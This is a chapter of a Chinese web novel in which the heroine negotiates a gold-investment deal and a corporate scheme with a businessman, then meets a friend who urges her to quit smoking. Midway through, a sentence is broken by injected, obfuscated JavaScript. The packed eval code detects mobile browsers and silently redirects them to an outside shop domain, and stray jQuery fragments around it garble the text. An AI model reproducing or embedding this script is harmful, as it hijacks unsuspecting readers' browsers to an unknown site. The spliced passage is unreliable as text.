“我当然有我自己的消息渠道。”林褚不回答也没关系，像宋晨这样心思缜密的人，会把任何不合理变成合理。
“看来你和范总的合作，很顺利嘛。”
“我看懂了我看懂了。”小系统难得兴奋地说，“宋晨觉得你是范晓英派过来的大头兵。”
林褚听着，差点没破功笑出声。
宋晨看着林褚异动的表情，以为自己是猜对了，对林褚的戒心又少了几分。
“我要宋行名下那家娱乐公司。”林褚再次强调。
宋晨盯着她看了五秒。然后他往椅背上一靠，双手交叠搁在胸前。
“可以，不过你说了，不会牵扯到我。”
林褚往前凑了凑。“当然，不过你得帮忙。”
宋晨没动，手指在扶手上敲了两下。“行，我晚点给你发个方案，你找人去做。”
“金盈宝的事呢？”林褚趁胜追击。
如果说宋行的事，他确实顺水推舟。
可金盈宝这事…
他并不觉得以现在金价的走势，金盈宝还有利润可言，而且林家的库存都已经抵资了，他的钱纯粹是给林家填坑的。
见宋晨不说话，林褚知道他在犹豫。
宋晨是个很谨慎的商人，他从小的境遇让他习惯了步步为营。
林褚也不急，继续说道。
“宋总是聪明人，第一次撤的时候你不光想搞垮我爸的金店，更多的还算了机会成本，金盈宝的年化确实不如金价涨得快。要跑也很正常，换我我也跑。”
宋晨抬着眉毛微点了点头。
林褚再接再厉，说道：“你料到那些跟风买的人在你撤资后会挨个抛售，林家的资金链必然断裂。林炜豪出了你的大头，那银行抵押、库存压仓、到期兑付全挤在一起了，现在金店确实快死了，他急得乱投医，到处找路子。”
她掰着手指挨个细数金店的困境。
“不过你刚刚资料也看了，城北那块地的问题，现在我们并不是敌人。既然要谈合作，那我给你开一个定向专户。你再投的这笔钱不跟金盈宝的资金池混，我单独给你建仓、单独清算。”
林褚拿着加茶叶的茶夹将泡淡了老茶清空，重新夹了三次干茶叶入壶。
“这次如果宋总拿出3000万申购，我按两个月前900的金价锁货，三个月后金价涨到1200，帮宋总一次性平仓交割。”
1200的金价，这个数字从来没出现在历史上过，宋晨都有些惊愕于林褚夸下的海口。
虽然吉姆·罗杰斯曾预测过金价会涨到 2000 美元，但没人真的把黄金这种无息避险当主力资产去配置。
不过这些并不是宋晨需要操心的，他只要保证他的钱在林褚这不出问题。
“1200？达不到呢？”看林褚泡了新茶，宋晨将杯子里面的茶渣倒进了茶台。
“那就按6%年化保底兑付，现在我可不敢开出金盈宝的 10% 了。”林褚笑眯眯地给宋晨斟茶，实话实说。
“但宋总比我清楚，现在这个涨势，三个月内到1200的概率，大过跌回900的概率。”
宋晨摆手。
“我对金价没有研究，比不过林小姐这样的专业人士。”
察觉出宋晨有了明显的异动。
林褚再服了个软。
“宋总知道的，你回不回来，可不只是3000万的事。”
“你回来了，之前的散户看见宋总重新认购，会重新跟风的，到时候新资金进来。我的资金链续上了，你的货也有人收了。咱们各取所需。林家虽然资金链断了，但货还在仓库里压着，对吧。”
“3 个月的收益可有 800 万，真的不考虑一下吗？”
“你比你爸会做生意。”宋晨真的要对林褚刮目相看了。
这老辣的谈判手段，市场的敏锐度，还有绝对的自信。怎么看也不会像是一个 22 岁初出社会的女生应该有的。
不过纵观林炜豪的发家史，他这个女儿确实能有这种本事。
儿子就差得远了。
“我爸那老家伙还是太贪了。不然哪来那么多库存压在家里。”看事情基本敲定，林褚把茶杯前递，在宋晨的茶杯底轻碰了一下。
“那就这么说定了？宋总。”
宋晨看着林褚，身上透露出女生少有的江湖气，朝林褚抬了抬茶杯。“你比你爸贪，上次他只让我拿 2000 万，你这开口就 3000 万。”
“宋总身家上千亿，还会在乎这区区两三千万。”生意既然谈成了，林褚当然愿意给对方戴高帽。
“宋家的又不是我的。”毕竟宋晨头顶上还有宋公明压着，这笔钱宋晨要私掏。
“这不巧了吗，林家的也不是我的。回头我给你个我的私人账户。宋总应该不会傻乎乎的走公账吧？到时候违规借贷给你钱锁了。”林褚笑着调侃。
宋晨眉尾一挑，瞬间明白了林褚的计划。
林褚走的是私账，看来并不打算救他爹。
若不是林褚身上还压着金店百分之三十的股份，他还真要考虑考虑认购的数额。
“看来林炜豪拿你联姻的事让林小姐很不愉快啊，这里面也有我的疏忽，下次请林小姐吃饭赔罪。”
“那我可要尝尝宋家私人大厨的手艺了。”林褚不会让任何一个客套的邀请落空。
“哈哈，行，到时候我扫榻相迎。” 宋晨再度见识到了林褚的进攻性，有趣又不让人觉得冒犯。
“叩叩。”敲门声打断了室内愉悦的气氛。
进门来的人是刚刚接林褚的司机，看起来年龄不大，穿着成套的休闲服，戴着兜帽手里拎着10 包不同样式的薄荷糖。
“老板，糖来了。按照你说的，买了不同的品牌。”
他一改方才在车里和林褚的有说有笑，眼睛都不往林褚这边瞥一眼。
刚才宋晨让人买糖的时候，林褚全程听着，可没有吩咐他买什么牌子。
这司机精得很，功劳都往上让。
宋晨让人把糖放桌子上，示意林褚自己挑，边客气地招呼二人认识。
“方谦，我的好友兼助理。林褚，我的新合作伙伴。以后有些对接工作，就得劳烦你们两人了。”
真是个体面人，林褚对宋晨的介绍很满意。没强调她的出身，也没强调她的性别。
林褚站起身来，朝方谦伸出手。“方先生，你好，以后合作劳烦你多多照顾了。”
说着拿起摆在桌上的手机。
“加个联系方式吧，方便联系。”
方谦愣了一下，才掏出手机，假装扫码。
其实刚刚在车上，他们已经加过了联系方式了。
但还是有些感谢林褚的心思细腻，毕竟越过老板提前私联客户，在老板这边可不能获得什么好印象。
“那我先出去了。”方谦朝二人示意，转身便退了出去。
再度落座后，宋晨盯着林褚自来熟挑糖的动作，看似不经意地说道：“看来你们已经认识了。”
像宋晨这么敏锐的人，怎么可能察觉不到二人之间的氛围？
“车上聊了两句，宋总这小助理嘴是真严，我还想问问你有什么喜好，好让我的谈判能顺利一点。”既然被看出来了，林褚也大大方方承认。
她一口气含了两颗糖，用舌头绕着在口腔里面打转。高压谈判降下来之后，她现在有点想抽烟。
但很明显，这个房间内没有放烟灰缸，宋晨不是抽烟的人。
“哦？是谁大言不惭地说很了解我的，还需要和别人问我的喜好吗？”
“我真的很了解你。”林褚将两颗糖扫到一边的脸颊后含着。
口齿清晰又认真。
“但我保证我不会害你，我们之间没有任何的利益冲突。”
宋晨被这一记直球给怼懵了。
若在今天和林褚见面之前，一个22岁的小姑娘说要害自己，在宋晨的认知里，本身就是一件很荒谬的事情。
那和一只猫说要跳起来打他膝盖没有任何区别。
可经过刚刚那番对话，宋晨不得不正视林褚之前说的每一句话。
他没有再问林褚到底为什么这么笃定，这番交往下来，他知道林褚确实很了解自己。
至于怎么样了解的，林褚不会说，那他就不问了。
宋晨做事更看重目的，过程是什么？
不重要。
“那有林小姐这番保证，我就放心了。”
既然确认了合作，适当的释放善意也是必要的。
宋晨先起了话头。
“娱乐公司的事情，我会在海外设一个投资的局，宋行最近一直不被宋公明看好，娱乐公司被他弄得乌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688655|207379||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烟瘴气，账面上很难看，你找个合适的人。把他引进局里。”
“行啊。”林褚脑子里一转，就有了合适的人选。
“具体细节，到时候方谦会跟你联系。我待会还有个会，就不留林小姐了。”
这是打算送客了。
“合同的事呢？”还没有真的敲定的东西，林褚并不认为已经吃进了嘴里。
“今天晚上 11 点钟之前会发给林小姐。确认没问题的话，这两天找个时间我们就签。”
林褚这些天是真的忙，她信得过宋晨的人品，不会在合同这种小事上扯皮，不用自己起草，也省了她一番精力。
坐回方谦车里的时候，林褚没有坐在后座，直接坐到了副驾驶。
方谦有些讶异地朝她笑了笑。“很高兴再次认识你啊，林小姐。”
“喏，请你吃糖。”林褚把方谦买的糖丢回了他自己的怀里。
“用我的钱买的糖请我吃，林小姐不愧是生意人。”方谦说话也挺有意思。
“真羡慕宋晨，有个这么心思细腻，还不会抢功的得力干将，你俩真是朋友吗？”林褚系好安全带，报了一个和范晓英约好打球的地址。
“算是吧？”又是模棱两可的答案。
“嘴真紧。”林褚佯装吐槽。
方谦笑出了酒窝。
林褚换好体操服，在吸烟室吞云吐雾等范晓英的时候接到了律师起草的律师函，是以沈书白的名义。
一共 2 份。
一份是关于沈书白叔父叔母的。
另一份则是学校里头那件事的。
林褚给沈书白打了个电话，将学校里面的那份律师函发给了他，让他发给他的辅导员看看。
沈书白刚下完英语辅导课，黏黏糊糊问林褚什么时候回去。
“打完球还要跟晓英姐吃个饭，书白哥哥饿了的话，你自己点一下外卖哦。”
她现在像父母给孩子发生活费一样，定期每个月给沈书白发 5000 块钱生活费。
一开始沈书白还不要，后面，慢慢地也习惯了。
“好吧，我今天…”沈书白声音里有明显的失落，林褚这段时间真的太忙了，他和林褚刚确定关系，正是热恋的时候。
只是近期林褚放在他身上的关注一天比一天少，他总是见缝插针的，想和林褚多腻歪一会，说说每天发生的事情。
“晓英姐叫我了，书白哥哥乖乖吃饭哦，我晚上回来要检查你的功课。”林褚直接打断了他的分享，“拜拜，想我的话给我发消息。”
然后果断地挂掉了电话。
沈书白有些失落地看着手机上跳回的绿泡泡聊天框。
右边一条又一条的字和语音。
左边总是简短的、重复的回复，再加上几个卖萌的表情包。
沈书白没有吃饭的胃口了，思念在心底疯长。
哪怕上一秒才挂断了电话。
他依旧觉得焦急得有些透不过气来。
林褚呼出最后一口烟，将烟按灭在烟灰缸里，小跑着出了吸烟室。
范晓烟在玻璃门外，本是笑着看她。
吸烟室的门一打开，范晓烟的眉头就皱上了。
抽烟是林褚缓解压力的一种方式，她很少在别人面前抽烟，同样也知道很多人讨厌二手烟。
这已经是她第三次看见范晓英因为她抽烟而控制不住表情了，但范晓英从来都没有对她提出过任何意见。
“我去冲个澡，晓英姐先去热身吧。”无需范晓英多说什么，林褚自发地清理身上的烟味。
前世她所处的环境，烟酒既是权力置换的必需品，也是向上社交的有效方式。
可当她真正拿到了阶层的入门券时，她才发现，原来那些真正的富人是不沾烟的。
他们非常重视身体的健康。
范晓英伸手拉住了林褚的手腕，从运动服侧兜的口袋里，掏出颗薄荷糖。
是上次范晓英办公室里面的牌子。
“小褚，我知道你心思细腻，有很多压力压在心底。脑子成天连轴转的话，会容易低血糖的。”
范晓英将糖剥开，递到了林褚嘴边。
“焦虑不是抽烟才能缓解，皮质醇用糖也可以压下去。考虑戒烟吗？我希望你的身体能健康一点。”
林褚唇边抵糖，突然间，喉头有些发酸。